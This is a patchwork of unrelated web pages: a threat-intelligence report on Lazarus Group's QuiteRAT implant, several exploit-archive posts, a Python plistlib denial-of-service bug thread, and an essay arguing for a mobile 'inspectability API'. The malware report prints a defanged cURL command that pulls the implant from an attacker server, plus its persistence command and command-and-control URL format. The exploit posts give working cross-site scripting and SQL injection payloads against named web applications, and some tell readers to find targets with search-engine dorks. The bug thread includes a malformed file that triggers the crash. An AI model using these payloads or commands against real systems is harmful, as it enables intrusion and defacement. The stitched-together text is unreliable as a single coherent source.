This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.

Thursday, August 24, 2023 08:08

*   Cisco Talos discovered the North Korean state-sponsored actor Lazarus Group targeting internet backbone infrastructure and healthcare entities in Europe and the United States. This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.  
    
*   In this campaign, the attackers began exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) five days after PoCs for the exploit were publicly disclosed to deliver and deploy a newer malware threat we track as “QuiteRAT.” Security researchers first discovered this implant in February, but little has been written on it since then.  
    
*   QuiteRAT has many of the same capabilities as Lazarus Group’s better-known MagicRAT malware, but its file size is significantly smaller. Both implants are built on the Qt framework and include capabilities such as arbitrary command execution.  
    
*   Lazarus Group’s increasing use of the Qt framework creates challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult compared to threats created using simpler programming languages such as C/C++, DOT NET, etc. Furthermore, since Qt is rarely used in malware development, machine learning and heuristic analysis detection against these types of threats are less reliable.

**Lazarus Group compromises internet backbone infrastructure company in Europe  
**

In early 2023, we observed Lazarus Group successfully compromise an internet backbone infrastructure provider in Europe to successfully deploy QuiteRAT. The actors exploited a vulnerable ManageEngine ServiceDesk instance to gain initial access. The successful exploitation triggered the immediate download and execution of a malicious binary via the Java runtime process. We observed Lazarus Group use the cURL command to immediately deploy the QuiteRAT binary from a malicious URL:

curl hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe

The IP address 146\[.\]4\[.\]21\[.\]94 has been used by Lazarus since at least May 2022.

A successful download of the binary leads to the execution of the QuiteRAT binary by the Java process, resulting in the activation of the implant on the infected server. Once the implant starts running, it sends out preliminary system information to its command and control (C2) servers and then waits on the C2 to respond with either a command code to execute or an actual Windows command to execute on the endpoint via a child cmd.exe process. Some of the initial commands executed by QuiteRAT on the endpoint are for reconnaissance:

Command

Intent

C:\\windows\\system32\\cmd.exe /c systeminfo | findstr Logon

Get logon server name (machine name). System Information Discovery \[T1082\]

C:\\windows\\system32\\cmd.exe /c ipconfig | findstr Suffix

Domain name for the system. Domain discovery \[T1087/002\]

There is no in-built persistence mechanism in QuiteRAT. Persistence for the implant is achieved via the registry by issuing the following command to QuiteRAT:

C:\Windows\system32\cmd[.]exe /c sc create WindowsNotification type= own type= interact start= auto error= ignore binpath= cmd /K start c:\users\public\notify[.]exe

A typical infection chain looks like this:

**Lazarus Group evolves malicious arsenal with QuiteRAT**

QuiteRAT is a fairly simple remote access trojan (RAT). It consists of a compact set of statically linked Qt libraries along with some user-written code. The Qt framework is a platform for developing cross-platform applications. However, it is immensely popular for developing Graphical User Interface in applications. Although QuiteRAT, just like MagicRAT, uses embedded Qt libraries, none of these implants have a Graphical User Interface. .As seen with Lazarus Group’s MagicRAT malware, the use of Qt increases the code complexity, making human analysis harder. Using Qt also makes machine learning and heuristic analysis detection less reliable, since Qt is rarely used in malware development.

Based on QuiteRAT’s technical characteristics, including the usage of the Qt framework, we assess that this implant belongs to the previously disclosed MagicRAT family. QuiteRAT was briefly discussed in WithSecure’s report from early 2023. The new campaign we’re disclosing exploited a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) — which has a Kenna risk score of 100 out of 100 — to deploy QuiteRAT.

The implant initially gathers some rudimentary information about the infected endpoint, including MAC addresses, IP addresses, and the current user name of the device. This information is then arranged in the format:

<MAC_address><IP_address>[0];<MAC_address><IP_address>[1];...<MAC_address><IP_address>[n];<username>

The resulting string is then used to calculate an MD4 hash, which is then used as the infection identifier (victim identifier) while conversing with the C2 server.

All the networking-related configurations, such as the C2 URLs and extended URI parameters, are encoded and stored in the malware. The strings are XOR’ed with 0x78 and then base64 encoded. This technique is in line with WithSecure’s analysis from earlier this year.

Configuration strings encoded in the malware.

The URL to communicate with the C2 is constructed as follows with the following extended URI parameters:

Parameter names

Values

Description

mailid

<12 chars from MD4>

The first 12 characters from the MD4 of the information gathered from the endpoint (described earlier)

action

“inbox” = send check beacon  
“sent” = data is being sent to C2

Signifies the action being taken

body

<base64\_xorred\_data>

Data to be sent to C2.

param

<Internal/Local IP address>

The internal/LAN IP address of the infected endpoint.

session

<rand>

Pseudo-random number generated by the implant.

The URL for the HTTP GET to obtain inputs from the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=inbox**&param=<Internal/Local_IP_address>&session=<rand>

Data is also sent to the C2 using the HTTP GET VERB as well. The URL for the HTTP GET to send data to the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=sent&body=<base64_xorred_data>**param=<Internal/Local_IP_address>&session=<rand>

Any data sent to the C2 is utmost 0x400 (1,024) bytes in length. If the output of a command executed on the endpoint by the implant is larger than 1,024 bytes, the implant appends the < No Pineapple! > marker at the end of the data.

The User-Agent used during communications by the implant is

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

The malware also has the ability to run a ping command on a random IP address that it generates on the fly. The request is usually executed using the command <compspec_path>\cmd.exe /c <IP_Address> -n 18 &:  

Ping command being constructed by the implant including the octets for a random IP.

The implant can also receive a command code “sendmail” along with a numeric value from the C2 server. This value is then used by the implant to Sleep for a specific period of time (in minutes) before it begins talking to the C2 server again. The adversaries likely use this functionality to keep the implant dormant for longer periods of time while ensuring continued access to the compromised enterprise network.

The implant also has the ability to receive a second URL from the current C2 server via the command code receivemail. The implant will then reach out to the second URL to receive commands and payloads from the server to execute on the infected system.

We have seen the following versions of QuiteRAT in the wild. We are only able to share one of the file hashes at this time, which is included in the IOCs section:

QuiteRAT binary name

Compile date

notify.exe (32bit)

May 30, 2022

acres.exe

July 22, 2022

acres.exe (64bit)

July 25, 2022

The latest version of Lazarus Group’s older MagicRAT implant observed in the wild was compiled in April 2022. This is the last version of MagicRAT that we know of. The use of MagicRAT’s derivative implant, QuiteRAT, beginning in May 2023 suggests the actor is changing tactics, opting for a smaller, more compact Qt-based implant.

**QuiteRAT vs MagicRAT**

QuiteRAT is clearly an evolution of MagicRAT. While MagicRAT is a bigger, bulkier malware family averaging around 18MB in size, QuiteRAT is a much much smaller implementation, averaging around 4 to 5MB in size. This substantial difference in size is due to Lazarus Group incorporating only a handful of required Qt libraries into QuiteRAT, as opposed to MagicRAT, in which they embedded the entire Qt framework. Furthermore, while MagicRAT consists of persistence mechanisms implemented in it via the ability to set up scheduled tasks, QuiteRAT does not have a persistence capability and needs to be issued one by the C2 server to achieve continued operation on the infected endpoint. This is another contributing factor to the smaller size of QuiteRAT.

There are similarities between the implants that indicate that QuiteRAT is a derivative of MagicRAT. Apart from being built on the Qt framework, both implants consist of the same abilities, including running arbitrary commands on the infected system. Both implants also use base64 encoding to obfuscate their strings with an additional measure, such as XOR or prepending hardcoded data, to make it difficult to decode the strings automatically. Additionally, both implants use similar functionality to allow them to remain dormant on the endpoint by specifying a sleep period for them by the C2 server.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCs**

IOCs for this research can also be found at our Github repository here.  

**Hashes  
****QuiteRAT**

ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6  

**Networks IOCs  
**

146\[.\]4\[.\]21\[.\]94

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/comp\[.\]dat

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/log\[.\]php

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/logs\[.\]php

hxxp\[://\]ec2-15-207-207-64\[.\]ap-south-1\[.\]compute\[.\]amazonaws\[.\]com/resource/main/rawmail\[.\]php

Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

**G And G Corporate CMS 1.0 Cross Site Scripting**

Posted Aug 23, 2023

Authored by indoushka

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ec7e6459653c2e6f1683c120c47e58e61d870a911a466497ef2ef99455a30669

Download | Favorite | View

**G And G Corporate CMS 1.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : G&G Corporate CMS v1.0  XSS Vulnerability                                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : http://gegweb.it                                                                                                   |  | # Dork      : intext:Powered by Studio G&G Corporate Communication site:it                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /prodotti.php?LANG=2&id=prodotti&CAT=1'<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://priolinoxit/prodotti.php?LANG=2&id=prodotti&CAT=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

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G And G Corporate CMS 1.0 Cross Site Scripting

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

**FreshRSS 1.11.1 HTML Injection**

Posted Aug 23, 2023

Authored by indoushka

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

tags | exploit

SHA-256 | c789b4001ff7c396e22af1e82b8f9c8c3a4f13f593828eb66d0a73226d79294b

Download | Favorite | View

**FreshRSS 1.11.1 HTML Injection**

    ====================================================================================================================================| # Title     : FreshRSS v1.11.1 Html Inject Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://freshrss.org/                                                                                              |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  https://demo127.0.0.1/freshrssorg/i/?c=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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FreshRSS 1.11.1 HTML Injection

read_ints in plistlib.py in Python through 3.9.1 is vulnerable to a potential DoS attack via CPU and RAM exhaustion when processing malformed Apple Property List files in binary format.

Created on **2020-10-21 00:25** by **wessen**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Pull Requests

URL

Status

Linked

Edit

PR 22882

merged

serhiy.storchaka, 2020-10-22 09:27

PR 23115

merged

miss-islington, 2020-11-02 21:02

PR 23116

merged

serhiy.storchaka, 2020-11-02 21:17

PR 23117

merged

serhiy.storchaka, 2020-11-02 21:26

PR 23118

merged

serhiy.storchaka, 2020-11-02 21:40

Messages (12)

msg379175 - (view)

Author: Robert Wessen (wessen)

Date: 2020-10-21 00:25

In versions of Python from 3.4-3.10, the Python core plistlib library supports Apple's binary plist format. When given malformed input, the implementation can be forced to create an argument to struct.unpack() which consumes all available CPU and memory until a MemError is thrown as it builds the 'format' argument to unpack().

This can be seen with the following malformed example binary plist input:

\`\`\`
$ xxd binary\_plist\_dos.bplist
00000000: 6270 6c69 7374 3030 d101 0255 614c 6973  bplist00...UaLis
00000010: 74a5 0304 0506 0000 00df 4251 4351 44a3  t.........BQCQD.
00000020: 0809 0a10 0110 0210 0308 0b11 1719 1b1d  ................
00000030: 0000 0101 0000 0000 0000 000b 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0029            ...........)

\`\`\`
The error is reached in the following lines of plistlib.py:
(https://github.com/python/cpython/blob/e9959c71185d0850c84e3aba0301fbc238f194a9/Lib/plistlib.py#L485)

\`\`\`
    def \_read\_ints(self, n, size):
        data = self.\_fp.read(size \* n)
        if size in \_BINARY\_FORMAT:
            return struct.unpack('>' + \_BINARY\_FORMAT\[size\] \* n, data)
\`\`\`
When the malicious example above is opened by plistlib, it results in 'n' being controlled by the input and it can be forced to be very large. Plistlib attempts to build a string which is as long as 'n', consuming excessive resources.

Apple's built in utilities for handling plist files detects this same file as malformed and will not process it.

msg379238 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-21 19:44

Thanks for the report. I can reproduce the issue.

msg379243 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-21 20:12

One Apple implementation of binary plist parsing is here: https://opensource.apple.com/source/CF/CF-550/CFBinaryPList.c.

That seems to work from a buffer (or mmap) of the entire file, making consistency checks somewhat easier, and I don't think they have a hardcoded limit on the number of items in the plist (but: it's getting late and might have missed that).

An easy fix for this issue is to limit the amount of values read by \_read\_ints, but that immediately begs the question what that limit should be. It is clear that 1B items in the array is too much (in this case 1B object refs for dictionary keys). 

I don't know what a sane limit would be. The largest plist file on my system is 10MB. Limiting \*n\* to 20M would be easily enough to parse that file, and doesn't consume too much memory (about 160MB for the read buffer at most). 

Another thing the current code doesn't do is check that the "ref" argument to \_read\_object is in range. That's less problematic because the code will raise an exception regardless (IndexErrox, instead of the nicer InvalidFileException).

msg379255 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-21 21:36

There are two issues here.

The simple one is building a large format string for struct.unpack(). It has simple solution: use f'>{n}{\_BINARY\_FORMAT\[size\]}'.

The hard issue is that read(n) allocates n bytes in memory even if there are not so many bytes in the file. It affects not only plistlib and should be fixed in the file implementation itself. There is an open issue for this.

msg379283 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-22 09:40

Serhiy, thanks. Just the change in the format string would fix this particular example.

I see you're working on a PR with better validation. The current state of the draft looks good to me, but I haven't checked yet if there are other potential problems that can be added to the list of invalid binary plists.

msg379285 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-22 09:47

PR 22882 fixes problem in \_read\_ints(), adds validation for string size, and adds many tests for mailformed binary Plists.

There may be problems with recursive collections. I'll try to solve them too.

msg379286 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-22 09:59

No, with recursive collections all is good.

Then I'll just add a NEWS entry and maybe few more tests.

msg380250 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-11-02 21:02

New changeset 34637a0ce21e7261b952fbd9d006474cc29b681f by Serhiy Storchaka in branch 'master':
bpo-42103: Improve validation of Plist files. (GH-22882)
https://github.com/python/cpython/commit/34637a0ce21e7261b952fbd9d006474cc29b681f

msg380252 - (view)

Author: miss-islington (miss-islington)

Date: 2020-11-02 21:34

New changeset e277cb76989958fdbc092bf0b2cb55c43e86610a by Miss Skeleton (bot) in branch '3.9':
bpo-42103: Improve validation of Plist files. (GH-22882)
https://github.com/python/cpython/commit/e277cb76989958fdbc092bf0b2cb55c43e86610a

msg380265 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-11-03 07:32

New changeset 547d2bcc55e348043b2f338027c1acd9549ada76 by Serhiy Storchaka in branch '3.8':
\[3.8\] bpo-42103: Improve validation of Plist files. (GH-22882) (GH-23116)
https://github.com/python/cpython/commit/547d2bcc55e348043b2f338027c1acd9549ada76

msg380703 - (view)

Author: Ned Deily (ned.deily) \* 

Date: 2020-11-10 19:54

New changeset 225e3659556616ad70186e7efc02baeebfeb5ec4 by Serhiy Storchaka in branch '3.7':
\[3.7\] bpo-42103: Improve validation of Plist files. (GH-22882) (#23117)
https://github.com/python/cpython/commit/225e3659556616ad70186e7efc02baeebfeb5ec4

msg380704 - (view)

Author: Ned Deily (ned.deily) \* 

Date: 2020-11-10 19:57

New changeset a63234c49b2fbfb6f0aca32525e525ce3d43b2b4 by Serhiy Storchaka in branch '3.6':
\[3.6\] bpo-42103: Improve validation of Plist files. (GH-22882) (GH-23118)
https://github.com/python/cpython/commit/a63234c49b2fbfb6f0aca32525e525ce3d43b2b4

History

Date

User

Action

Args

2022-04-11 14:59:37

admin

set

nosy: + pablogsal  
github: 86269  

2020-11-10 20:17:26

serhiy.storchaka

set

status: open -> closed  
resolution: fixed  
stage: patch review -> resolved

2020-11-10 19:57:41

ned.deily

set

messages: + msg380704

2020-11-10 19:54:25

ned.deily

set

messages: + msg380703

2020-11-03 07:33:40

serhiy.storchaka

set

priority: normal -> release blocker  
nosy: + lukasz.langa  

2020-11-03 07:32:31

serhiy.storchaka

set

messages: + msg380265

2020-11-02 21:40:36

serhiy.storchaka

set

pull\_requests: + pull\_request22035

2020-11-02 21:34:51

miss-islington

set

messages: + msg380252

2020-11-02 21:26:43

serhiy.storchaka

set

pull\_requests: + pull\_request22034

2020-11-02 21:17:38

serhiy.storchaka

set

pull\_requests: + pull\_request22033

2020-11-02 21:02:11

miss-islington

set

nosy: + miss-islington  
pull\_requests: + pull\_request22032  

2020-11-02 21:02:11

serhiy.storchaka

set

messages: + msg380250

2020-10-22 09:59:32

serhiy.storchaka

set

messages: + msg379286

2020-10-22 09:47:54

serhiy.storchaka

set

messages: + msg379285

2020-10-22 09:40:45

ronaldoussoren

set

messages: + msg379283

2020-10-22 09:27:10

serhiy.storchaka

set

keywords: + patch  
stage: patch review  
pull\_requests: + pull\_request21822

2020-10-21 21:36:41

serhiy.storchaka

set

messages: + msg379255

2020-10-21 20:12:55

ronaldoussoren

set

messages: + msg379243

2020-10-21 19:44:21

ronaldoussoren

set

messages: + msg379238

2020-10-21 01:06:46

ned.deily

set

keywords: + security\_issue  
nosy: + ronaldoussoren, ned.deily, serhiy.storchaka

components: + Library (Lib), - Interpreter Core  
title: DoS (MemError via CPU and RAM exhaustion) when processing malformed Apple Property List files in binary format -> \[security\] DoS (MemError via CPU and RAM exhaustion) when processing malformed Apple Property List files in binary format

2020-10-21 00:25:11

wessen

create

CVE-2022-48564: Issue 42103: [security] DoS (MemError via CPU and RAM exhaustion) when processing malformed Apple Property List files in binary format

Dolibarr version 17.0.1 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Dolibarr Version 17.0.1 - Stored XSS# Dork: # Date: 2023-08-09# Exploit Author: Furkan Karaarslan# Category : Webapps# Vendor Homepage: http://127.0.0.1/dolibarr-17.0.1/htdocs/user/note.php# Version: 17.0.1 (REQUIRED)# Tested on: Windows/Linux# CVE : -----------------------------------------------------------------------------RequestsPOST /dolibarr-17.0.1/htdocs/user/note.php HTTP/1.1Host: 127.0.0.1Content-Length: 599Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/dolibarr-17.0.1/htdocs/user/note.php?action=editnote_public&token=4b1479ad024e82d298b395bfab9b1916&id=1Accept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: 5c8ccd93504819395bd9eb83add769eb=g6sujc3ss8cj53cvk84qv0jgol; f758a1cd0925196cd7746824e3df122b=u04rsmdqgrdpr2kduo49gl0rmh; DOLSESSID_18109f368bbc82f2433d1d6c639db71bb97e2bd1=sud22bsu9sbqqc4bgcloki2ehtConnection: closetoken=4b1479ad024e82d298b395bfab9b1916&action=setnote_public&token=4b1479ad024e82d298b395bfab9b1916&id=1&note_public=%3Ca+onscrollend%3Dalert%281%29+style%3D%22display%3Ablock%3Boverflow%3Aauto%3Bborder%3A1px+dashed%3Bwidth%3A500px%3Bheight%3A100px%3B%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cspan+id%3Dx%3Etest%3C%2Fspan%3E%3C%2Fa%3E&modify=De%C4%9Fi%C5%9Ftir

Dolibarr 17.0.1 Cross Site Scripting

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

**FoccusWeb CMS 0.1 Cross Site Scripting**

Posted Aug 22, 2023

Authored by indoushka

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4ec7d01c602a400932502d010a16a7b1bacb2f323fbd9f44c16aef7baacd0231

Download | Favorite | View

**FoccusWeb CMS 0.1 Cross Site Scripting**

    ======================================================================================================================================| # Title     : FoccusWeb CMS v0.1 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                               | | # Vendor    : http://www.foccusweb.com/site/                                                                                       |  ======================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /resultados.html?txt-busca=1<script>alert(/indoushka/);</script>&yt0=submit[+] http://127.0.0.1/saogabrielrsgovbr/Portal/busca/resultados.html?txt-busca=1%3Cscript%3Ealert(/indoushka/);%3C/script%3E&yt0=submitGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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FoccusWeb CMS 0.1 Cross Site Scripting

Global Multi School Management System Express version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title:  Global - Multi School Management System Express v1.0- SQL Injection# Date: 2023-08-12# Exploit Author: Ahmet Ümit BAYRAM# Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378# Tested on: Kali Linux & MacOS# CVE: N/A### Request ###POST /report/balance HTTP/1.1Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcwAccept: */*X-Requested-With: XMLHttpRequestReferer: http://localhostCookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469fContent-Length: 472Accept-Encoding: gzip,deflate,brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Host: localhostConnection: Keep-alive------------YWJkMTQzNDcwContent-Disposition: form-data; name="school_id"0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z------------YWJkMTQzNDcwContent-Disposition: form-data; name="academic_year_id"------------YWJkMTQzNDcwContent-Disposition: form-data; name="group_by"------------YWJkMTQzNDcwContent-Disposition: form-data; name="date_from"------------YWJkMTQzNDcwContent-Disposition: form-data; name="date_to"------------YWJkMTQzNDcw--### Parameter & Payloads ###Parameter: MULTIPART school_id ((custom) POST)Type: error-basedTitle: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BYclause (EXTRACTVALUE)Payload: ------------YWJkMTQzNDcwContent-Disposition: form-data; name="school_id"0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' ANDEXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx------------YWJkMTQzNDcwContent-Disposition: form-data; name="academic_year_id"------------YWJkMTQzNDcwContent-Disposition: form-data; name="group_by"------------YWJkMTQzNDcwContent-Disposition: form-data; name="date_from"------------YWJkMTQzNDcwContent-Disposition: form-data; name="date_to"------------YWJkMTQzNDcw–

Global Multi School Management System Express 1.0 SQL Injection

Unlike web browsers, mobile apps increasingly make it difficult or impossible to see what companies are really doing with your data. The answer? An inspectability API.

In today’s digital world, injustice lurks in the shadows of the Facebook post that’s delivered to certain groups of people at the exclusion of others, the hidden algorithm used to profile candidates during job interviews, and the risk-assessment algorithms used for criminal sentencing and welfare fraud detention. As algorithmic systems are integrated into every aspect of society, regulatory mechanisms struggle to keep up.

Over the past decade, researchers and journalists have found ways to unveil and scrutinize these discriminatory systems, developing their own data collection tools. As the internet has moved from browsers to mobile apps, however, this crucial transparency is quickly disappearing.

Third-party analysis of digital systems has largely been made possible by two seemingly banal tools that are commonly used to inspect what’s happening on a webpage: browser add-ons and browser developer tools.

Browser add-ons are small programs that can be installed directly onto a web browser, allowing users to augment how they interact with a given website. While add-ons are commonly used to operate tools like password managers and ad-blockers, they are also incredibly useful for enabling people to collect their own data within a tech platform’s walled garden.

Similarly, browser developer tools were made to allow web developers to test and debug their websites’ user interfaces. As the internet evolved and websites became more complex, these tools evolved too, adding features like the ability to inspect and change source code, monitor network activity, and even detect when a website is accessing your location or microphone. These are powerful mechanisms for investigating how companies track, profile, and target their users.

I have put these tools to use as a data journalist to show how a marketing company logged users’ personal data even before they clicked “submit” on a form and, more recently, how the Meta Pixel tool (formerly the Facebook Pixel tool) tracks users without their explicit knowledge in sensitive places such as hospital websites, federal student loan applications, and the websites of tax-filing tools.

In addition to exposing surveillance, browser inspection tools provide a powerful way to crowdsource data to study discrimination, the spread of misinformation, and other types of harms tech companies cause or facilitate. But in spite of these tools’ powerful capabilities, their reach is limited. In 2023, Kepios reported that 92 percent of global users accessed the internet through their smartphones, whereas only 65 percent of global users did so using a desktop or laptop computer.

Though the vast majority of internet traffic has moved to smartphones, we don’t have tools for the smartphone ecosystem that afford the same level of “inspectability” as browser add-ons and developer tools. This is because web browsers are implicitly transparent, while mobile phone operating systems are not.

If you want to view a website in your web browser, the server has to send you the source code. Mobile apps, on the other hand, are compiled, executable files that you usually download from places such as Apple’s iOS App Store or Google Play. App developers don’t need to publish the source code for people to use them.

Similarly, monitoring network traffic on web browsers is trivial. This technique is often more useful than inspecting source code to see what data a company is collecting on users. Want to know which companies a website shares your data with? You’ll want to monitor the network traffic, not inspect the source code. On smartphones, network monitoring is possible, but it usually requires the installation of root certificates that make users’ devices less secure and more vulnerable to man-in-the-middle attacks from bad actors. And these are just some of the differences that make collecting data securely from smartphones much harder than from browsers.

The need for independent collection is more pressing than ever. Previously, company-provided tools such as the Twitter API and Facebook’s CrowdTangle, a tool for monitoring what’s trending on Facebook, were the infrastructure that powered a large portion of research and reporting on social media. However, as these tools become less useful and accessible, new methods of independent data collection are needed to understand what these companies are doing and how people are using their platforms.

To meaningfully report on the impact digital systems have on society, we need to be able to observe what’s taking place on our devices without asking a company for permission. As someone who has spent the past decade building tools that crowdsource data to expose algorithmic harms, I believe the public should have the ability to peek under the hood of their mobile apps and smart devices, just as they can on their browsers. And it’s not just me: The Integrity Institute, a nonprofit working to protect the social internet, recently released a report that lays bare the importance of transparency as a lever to achieve public interest goals like accountability, collaboration, understanding, and trust.

To demand transparency from tech platforms, we need a platform-independent transparency framework, something that I like to call an inspectability API. Such a framework would empower even the most vulnerable populations to capture evidence of harm from their devices while minimizing the risk of their data being used in research or reporting without their consent.

An application programming interface (API) is a way for companies to make their services or data available to other developers. For example, if you’re building a mobile app and want to use the phone’s camera for a specific feature, you would use the iOS or Android Camera API. Another common example is an accessibility API, which allows developers to make their applications accessible to people with disabilities by making the user interface legible to screen readers and other accessibility tools commonly found on modern smartphones and computers. An inspectability API would allow individuals to export data from the apps they use every day and share it with researchers, journalists, and advocates in their communities. Companies could be required to implement this API to adhere to transparency best practices, much as they are required to implement accessibility features to make their apps and websites usable for people with disabilities.

In the US, residents of some states can request the data companies collect on them, thanks to state-level privacy laws. While these laws are well-intentioned, the data that companies share to comply with them is usually structured in a way that obfuscates crucial details that would expose harm. For example, Facebook has a fairly granular data export service that allows individuals to see, amongst other things, their “Off-Facebook activity.” However, as the Markup found during a series of investigations into the use of Pixel, even though Facebook told users which websites were sharing data, it did not reveal just how invasive the information being shared was. Doctor appointments, tax filing information, and student loan information were just some of the things that were being sent to Facebook. An inspectability API would make it easy for people to monitor their devices and see how the apps they use track them in real time.

Some promising work is already being done: Apple’s introduction of the App Privacy Report in iOS 15 marked the first time iPhone users could see detailed privacy information to understand each app’s data collection practices and even answer questions such as, “Is Instagram listening to my microphone?”

But we cannot rely on companies to do this at their discretion—we need a clear framework to define what sort of data should be inspectable and exportable by users, and we need regulation that penalizes companies for not implementing it. Such a framework would not only empower users to expose harms, but also ensure that their privacy is not violated. Individuals could choose what data to share, when, and with whom.

